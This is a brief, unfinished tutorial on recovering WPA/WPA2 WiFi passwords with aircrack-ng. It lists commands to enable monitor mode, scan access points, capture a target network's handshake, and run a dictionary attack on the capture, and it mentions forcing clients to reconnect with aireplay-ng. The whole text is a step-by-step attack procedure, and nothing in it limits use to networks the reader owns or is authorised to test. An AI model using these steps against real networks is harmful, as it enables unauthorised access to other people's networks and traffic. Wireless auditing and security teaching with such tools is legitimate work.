Use Aircrack-ng to Get WiFi Password(WPA/WPA2)


airmon-ng start NIC_name:

​ Start monitor mode.

airodump-ng wlan0mon:

​ Scan the APs around.

airodump-ng -c 6 --bssid target_BSSID -w ~/ wlan0mon:

​ Capture handshake packet. -w specify the location of saving the packet.

# Start another terminal, use aireplay-ng to force target devices reconnect to the AP

if it works, the WPA handshake information will be shown at the end of the first line of the packet capturing window.

aircrack-ng -a2 -b target_BSSID -w /your/dict/path/dic.txt ~/captured packet.cap:

​ Start cracking.

<== To Be Continued